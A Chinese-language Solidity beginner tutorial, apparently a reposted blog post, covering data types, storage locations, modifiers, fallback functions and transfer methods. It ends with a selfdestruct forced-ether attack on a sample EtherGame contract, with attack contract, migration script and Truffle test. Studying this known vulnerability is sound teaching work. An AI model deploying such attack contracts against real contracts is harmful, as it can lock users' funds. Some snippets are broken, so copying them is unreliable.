当前位置:   article > 正文

Solidity基础版教学,一个小时学完!

Solidity基础版教学,一个小时学完!

智能合约

目的 :

以信息化 的方式来传播 、 验证 、 执行 合同的计算机协议 。 且允许没有人监督,点对点的方式进行可信交易 , 可追踪,不可逆转

内容 :

​ 智能合约一般具有值和状态两个属性 :值(数据 ),状态 (函数调用的状态)

运行机制 :

1、

合约是一段程序 (代码和数据的集合),部署在支持智能合约的区块链网络上运行。

在区块链上经过多方共同协定, 各自签署(私钥)后,用户发起的交易经过p2p网络传播、矿工验证后 (多方共同协定的信息)将智能合约的信息存储在特定区块链后 (存储多方信息,返回给用户写的智能合约的地址)。

​ 用户得到合约的地址和接口等信息 即可通过发起交易来调用合约

2、

​ 系统预设矿工来贡献自身算例来验证交易 , 当矿工接收到合约的创建或调用交易 之后

​ 在其本地沙箱执行环境中创建合约,或执行合约代码 ,合约代码会根据可信外部数源(预言机) 和世界状态的检查信息自动判断当前所处场景是否满足合约的触发条件,以严格执行响应规制并更新世界状态

3、

​ 用户的交易被有效验证后打包进新的数据区块,经过共识算法认证后,链接到区块链的主链、所有区块链上的数据都更新

部署

address 地址类型。 0x0000000000000000000000代表空地址

地址分为外部地址(账户地址)和合约地址

当合约部署后,合约地址会存储在区块链的网络之上

地址类型可以强制转换成uint160 ,说明地址类型是可以比较的

Solidity

数据类型

值类型 : 直接存储变量的值

引用类型 :

  1. 地址类型=》以太坊地址 (20为字节)

  2. 数组类型

  3. struct(结构体)

  4. 枚举

变量

​ 状态变量 ---永久保存在合约存储空间中的变量 (相当于java类变量)​ 局部变量 --- 仅在函数执行中 有效的变量,函数结束后销毁

​ 全局变量 --- 保存在全局命名空间,(获取区块链相关信息的特殊变量)

全局变量

  • tx.origin(addresss payable) 返回值==交易的发送方
    msg.sender(address payable) 返回值==消息的发送者(当前的调用者)
    msg.value(uint) 当前消息的wei值

修饰符

  1. public 修饰的变量和函数,任何用户或者合约都能调用和访问。

  2. private 修饰的变量和函数,只能在其所在的合约中调用和访问,即使是其子合约也没 有权限访问。

  3. internal 和 private 类似,不过,如果某个合约继承自其父合约,这个合约即可以访问 父合约中定义的“内部”函数。

  4. external 除了这三个修饰符,函数可见性要比变量作用域多一个 external,external 与 public 类似,只不过这些函数只能在合约之外调用,它们不能被合约内的其他函数调用

    1. 声明external的函数不能直接调用,可以通过使用this以外部调用的方式调用函数

数据存储类型

Storage (存储)

​ 存储永久数据 , 该数据可以被合约中所有函数访问。(计算机中的硬盘资源)

Memory (内存)

​ 临时存储数据, 只能在函数中访问

Calldata

​ 不可修改的常量,不是持久性的数据,所有传递给函数的值,都存储在此,实参传入参数给形参时

存储规则

1、状态变量

​ 总是存在存储区中,不能显示地标记状态变量地位置,(不加storage修饰)

2、函数参数与返回值

​ 定义函数中,形参和返回值会存储在内存中

function calculate(uint num1, uint num2) public pure returns (uint result) {
return num1 + num2
}
3、局部变量

​ 值类型的局部变量存储在内存中。引用类型(显示地指定数据类型 memory)

EVM的数据存储机制

合约当中的方法,都是在以太坊虚拟机当中执行

EVM空间

​ storage 、 stack 、 memory 。

storage空间的值会被矿工提交到区块链上,改变区块链的状态 。 即状态变量会存储在以太坊evm的strorage空间

数组

1、定长数组
    type [arraySize] arrayName;
2、动态数组
    type [] arrayName;

3、数组成员

​ length \ push

​ 返回数组的范围大小 , push 允许将一个元素添加到动态数组的末尾

枚举

定义格式
                enum 枚举名 {集合值};

取值格式
                    枚举名.值

结构体

定义格式

        结构体创建对象 
            StructName name = StructNmae("参数1","参数2","参数3")

映射

定义格式
        mapping(_KeyType = > _KeyValue) 
key规则
        不支持映射、数组、结构体等作为key
Value规则 (无)

​ 键值映射

​ 例如 : 钱包 ( 地址 ,钱 )查询地址余额。

​ mapping ( )

solidity

以太单位

​ 以太币是以太坊上的虚拟币 , 以太则是以太坊上的货币单位​ 单位 :wei 、 szabo、 finney、ether

时间单位

函数

function fucntion-name (parameter-list) scope retruns() {
}
​
-scope 可见性 public 、 internal 、 private 、external
        修饰性 pure 
                1.表示不能修改,只能读取返回值 (只读)

调用形式

​ 调用方法时,必须指定全部参数

类json形式调用
        function setParam (uint age , string name) pubic {}
            
            
        this.setParam ({name:"tom",age:20});

函数修饰符

1、作用:

在执行函数之前自动检查条件

2、 分类:

​ 带参数| 不带参数

modifier 函数修饰符名 {
    require(msg.sender == owner);
    _;
    为真 , 调用该修饰符修饰的函数的代码则在这
}
​
-require 相当于 if语句,
-_    当require判断为真时,调用被此修饰符的函数代码在此_执行,否则抛出异常
        

构造函数

  • ​ 一个合约只有一个构造函数

    • 格式 :

          constructor() public {}
  • 在创建合约时执行一次 , 用于初始化合约状态

  • 执行构造后,合约代码被部署到区块链 (包括公共函数和可通过公共函数访问的函数)

  • 构造函数既可以是公共public的,也可以是内部的private

  • 若没有定义构造函数,则使用默认构造函数

函数重载

​ 方法名相同 、 函数参数类型或参数数量必须不同 ,仅仅返回值不同是不允许的

1、 使用
libaray 库名 {
}
​
合约中使用库的手法
    using for 语句
    using SafeMath for uint;  
2 、 注意
  • ​ 不能有状态变量 ; 不支持继承 ; 不接受代币转账 ;

接口

​ 类似于Java的接口

加密函数

  • keccak256(bytes memory) returns (bytes32) 计算输入的Keccak-256散列值。

  • sha256(bytes memory) returns (bytes32) 计算输入的SHA-256散列值。

  • ripemd160(bytes memory) returns (bytes20) 计算输入的RIPEMD-160散列值

    • 使内容加密

    • 在某些情况下指定某些变量的唯一性

solidily不支持字符串的直接比较,可以通过keccak函数来比较两个字符串

合约继承

同Java继承一样
  • ​ 子合约不能访问父合约的private成员

  • 子合约可以访问父合约所有的非private的成员(包括 internal 函数 和状态变量)

实例化合约对象

​ 合约 修饰名(private , public ) 自定义合约名;

初始化合约对象

​ 自定义合约名 = new 合约() ;

错误处理

​ assert , request 、revert

  • ​ request发生错误的时候,会回退​ assert 发生错误的时候,不会撤销状态更改 ​ revert 发生错误的时候,还回剩余的gas

  • 当做return语句使用

  • revert(String msg) ,抛出的错误信息

事件

​ 好比接口

1、定义格式
event 事件名字 (参数)  
​
-参数  : 对多三个

2、触发事件

emit  事件名字

转账方式

​ 地址对象调用方法:

            address.send()
​
            address.transfer()
​
            address.call.value()

​ send方法转账时 、出错不抛出异常 仅返回false

​ transfer方法转账时、出错时抛出异常,且回滚

​ call.value方法转账时、出错时仅返回false,同send

合约地址

​ solidity中,通过this来获取当前合约的地址,

​ 解释 : this在solidity中代表当前合约的实例,在合约之间进行通信时,使用this来引用当前合约的实例

contract MyContract {  
    // 返回当前合约的地址  
    function getAddress() public view returns (address) {  
        return this;  
    }  
}

Solidity细节

now和block.timestamp

​ block.timestamp获取当前区块的时间戳,即当前区块被添加到区块链上的时间,可以用来跟踪区块链上的事件顺序和时间。

​ now是一个函数调用,返回当前时间的时间戳,是相对于地理位置和系统时间的变化。

​ 不同 : block.timestamp是特定区块的时间戳,是确定性的。

​ now是相对于本地时间的当前时间戳,可以被合约修改和控制

内存、引用、持久化存储

​
struct student{
        uint age;
        string name;
     }
        student public  d;
​
​
storage-->storage
​
    //internal 引用代表会修改区块链上面的值
function te2(student storage s2) internal  {
        student storage mei = s2;   //mei指针不会在内存中开辟一块空间,指向s2的内存地址
        mei.name="csf";  //直接修改了s2的值。   修改了区块链的状态
    }
    
     function call2() public returns (string memory) {
            te2(d);  //传入一个引用变量
            return d.name;
     }
     
     
memory-->memory
  //solidity中的优化,同一存储位置的引用型变量赋值时,会直接指向其内存地址。不会开辟新空间
    function te(student memory s) public {
        student memory a = s;
        //直接修改的变量s的值
        a.name = "justyna";
    }
     function call() public  returns(string memory)  {
        student memory s = student(1,"csf");
            te(s);
            return s.name;
     }
     

在合约内部实例一个合约对象

声明一个地址类型的变量,变量名为合约。

pragma solidity ^0.8.2;
import "./DelegateContract.sol";
contract test1 {
    address delegateContract;
    constructor (address _delegateContract) {
        delegateContract = _delegateContract;
    }
​
    function fun1() public {
        delegateContract.deleFun();
        ##代码报错,由于delegateContract地址类型没有deleFun()函数
        
        解决方案 : 将这个地址类型转换为合约类型  
        DelegateContract(合约地址) 。如果合约地址不是一个DelegateContract合约,那么函数调用失败
    }
} 
​
delegateContract 是以太坊地址,可以是任何有效的以太坊地址,包括用户地址或合约地址。这个地址只是一个标识符,它并不知道这个地址代表的合约有哪些函数可以调用。
​
​
​
contract test1 {
   DelegateContract delegateContract;
   constructor (DelegateContract _delegateContract) {
    delegateContract = _delegateContract;
    } 
    function fun1() public {
        delegateContract.deleFun();
    }
}
​
delegateContract的类型是DelegateContract,这是一个智能合约的类型。这意味着delegateContract不仅存储了合约的地址,还知道这个合约有哪些函数可以调用。这样,你就可以直接通过delegateContract调用DelegateContract定义的函数。
总的来说,如果你只需要存储一个地址,那么使用address类型就足够了。但是,如果你需要调用合约的函数,那么你应该使用合约类型,如DelegateContract。这就是这两段代码的主要区别。如果你需要更具体的帮助,随时告诉我!

address payable

在Solidity中。Solidity 从0.5版本开始。地址类型被细分为address和address payable。 所以在之前版本,address类型可以使用transfer和send 。而0.5之后,只有address payable 能使用这两个。但call对于这两个地址类型都能使用。

0.5之前。address 类型的变量可以接收以太币。

0.5之后。只有 address payable类型的变量 可以接收以太币 。并且可以使用transfer 和 send

address 可以强制转换成 address payable类型 =》payable(address)

外部调用

fallback

和receive用来处理合约接收以太币的特殊函数等

fallback函数调用时刻

  • 一个合约中,调用其他合约的函数并且没有函数与之匹配时此函数会被调用

  • 每当此合约收到以太币时候。此函数会被调用。(在当前合约收到前的瞬间会被立即调用,可能会有重入风险)

1、fallback函数定义一般格式(不能有参数也不能有返回值)

fallback() external payable {
​
}
​
external 只能定义成external 。该函数只能在被调用。

2、没有定义fallback函数的合约。直接接收以太会抛出异常。

直接接收以太是指使用send函数或transfer函数来进行发送以太到该合约账户里头。(以send和transfer函数发送以太到该账户就)
​
function add() public payable {
} 
此函数的函数体为空。没有以太的转移等操作且标注payable,对该函数调用时。会将消息附带的以太发送到合约上。即使没有回退函数也success

3、交易超过fallback函数所限制的gas(2300gas)。则会抛出异常

修改public状态变量等增加gas的复杂操作。
bool public  isTure;
receive() external payable {      
}

4、receive函数

在solidity 0.6.0之后。receive替代fallback

状态变量

在合约内部。函数外部声明的变量。

四种修饰符 : public 、 private、 internal 、 external

public : 编译器会自动生成一个与该变量同名的公共函数

internal : 状态变量默认修饰符。只能合约内部,及其继承合约中访问

Solidy错误

Logistics.sol:26:27: TypeError: Data location can only be specified for array, struct or mapping types, but "memory" was given. function addLogistics(address memory _cargo,address memory _orgin, address memory _destination , string memory _memo) public
​
原因 : 给不是数据,结构体,映射类型的对象指定数据位置"memory", 另外,address和string在solidiy不支持指定数据位置。

合约漏洞

1、自毁

漏洞分析

  • 原漏洞合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
​
contract EtherGame{
    uint public targetAmount = 7 ether;
    address public winner;
    function depost() public payable {
        require(msg.value ==1 ether,  "You can only send 1 Ether");
        
        uint balance = address(this).balance;
        balance = balance + msg.value;
        require(balance <= targetAmount,"Game is over");
​
        if(balance == targetAmount) {
            winner = msg.sender;
        }
    }
    function claimReward() public {
        require(msg.sender == winner ,"No Winner");
        (bool sent , ) = msg.sender.call{value: balance}("");
        require(sent,"Faild to send Ether");
    }
}
合约逻辑 :
1、
每个用户调用depost函数的时候,由于depost函数没有直接转帐操作,所以会将消息附带的以太传入到当前合约里面,然后再去查看当前用户传入的msg.value是否等于1以太,
然后声明一个balance变量。每次调用depost函数的时候都会动态获取当前合约的余额。在拿这个余额加上用户传入的以太
再则判断balance变量是否小于等于目标值7,如果不,则回退。告诉用户游戏已经结束
否则当当前合约的余额加上用户传进的一条相等的话,则当前合约的调用者等于winner
2、
用户调用claimReward函数时候,会判断合约状态变量winner是否调用claimReward函数的账户,如果相等,则取走当前合约所有的钱
  • 攻击合约

    contract Attack {
        EtherGame ethergame;
        constructor(EtherGame _ethergame) {
            ethergame = EtherGame(_ethergame);
        }
        function attack() public payable {
            address payable addr = payable(address(ethergame));
            selfdestruct(addr);
        }
    }
    ​
    原合约winner是由当前合约余额这个动态变量和targetAmount静态变量所决定的,所以只用看当前合约余额能通过什么渠道去改变
    selfdestruct(address) 就可以强制将此方法所在的合约的所有以太打入address中。
    部署Attack合约,拿到EtherGame合约的实例
    调用attack函数,调用时并传入一个以太到Attack合约中,获取EtherGame合约地址,在强制转换成可支付地址。在调用自毁函数,将Attack合约销毁,销毁前会将Attack合约的所有以太强制打入到EtherGame合约中。
    ​
    极端情况下。已经有6个用户调用depost方法,此时合约中有6个以太。
    这时攻击者部署Attack合约,调用attack方法传入一个以太到当前合约,并且自毁。将自己合约的一个以太强制打入到EtherGame合约中,
    EtherGame合约中就有了7个以太。
    第7个用户调用depost方法,消息附带的一个以太传入到EtherGame合约,则EtherGame中动态获取的balance会变为8,不符合
    require(balance <= targetAmount,"Game is over");
    则回滚。EtherGame合约就会瘫痪,6个以太永远锁住了

编写测试

  • 准备测试合约 (编写在contracts 目录下)

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.7.6;
    contract EtherGame{
        uint public targetAmount = 7 ether;
        address public winner;
        function depost() public payable {
            require(msg.value ==1 ether,  "You can only send 1 Ether");
            uint balance = address(this).balance;
            require(balance <= targetAmount,"Game is over");
            if(balance == targetAmount) {
                winner = msg.sender;
            }
        }
        function claimReward() public {
            require(msg.sender == winner ,"No Winner");
            (bool sent , ) = msg.sender.call{value: address(this).balance}("");
            require(sent,"Faild to send Ether");
        }
    }
    contract Attack {
        EtherGame ethergame;
        constructor(EtherGame _ethergame) {
            ethergame = EtherGame(_ethergame);
        }
    ​
        function attack() public payable {
            address payable addr = payable(address(ethergame));
            selfdestruct(addr);
        }
    }
  • 编写迁移脚本(部署测试合约用)(放在 migrations 目录下)

const EtherGame =  artifacts.require("EtherGame");
const Attack = artifacts.require("Attack");
​
module.exports = async function(deployer) {
    await deployer.deploy(EtherGame);
    const a =  await EtherGame.deployed();
    await deployer.deploy(Attack,a.address);
}
  • 编写js测试用例

const EtherGame = artifacts.require("EtherGame");
const Attack = artifacts.require("Attack");
​
//获取两个合约抽象 (引用两个合约) 
​
//contract(合约对象,异步函数)
contract("selfDestrouct",async(accounts)=>{
​
//测试环节
//it(“测试名” , 异步函数)
    it("Test Self-Destruct",async()=>{
       //获取合约部署的实例
        const instance =  await EtherGame.deployed();
        const attack =  await Attack.deployed();
        //获取本地区块链的账户1地址
        const account_two = accounts[1];
        for(let i = 0 ; i < 6 ; i ++) {
        //使用同步调用合约中depost函数,传入配置对象 , from:调用函数的账户地址 , value,消息附带的一个以太
            await  instance.depost({from:account_two,value: web3.utils.toWei("1","ether")});
        }                                            value:1 则是1wei
        await attack.attack({from:accounts[8],value: web3.utils.toWei("1","ether")});
        await  instance.depost({from:accounts[3],value: web3.utils.toWei("1","ether")});
        
        //由于合约漏洞,会发生回滚,“Game is over”
        await instance.claimReward({from:accounts[3]})
       const result =  await instance.winner();
        console.log(result)
       const mybalance = await instance.balance();
        console.log("balanc"+ mybalance)
    })
})
  • 修改合约漏洞

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/很楠不爱3/article/detail/688998
推荐阅读
相关标签
  

闽ICP备14008679号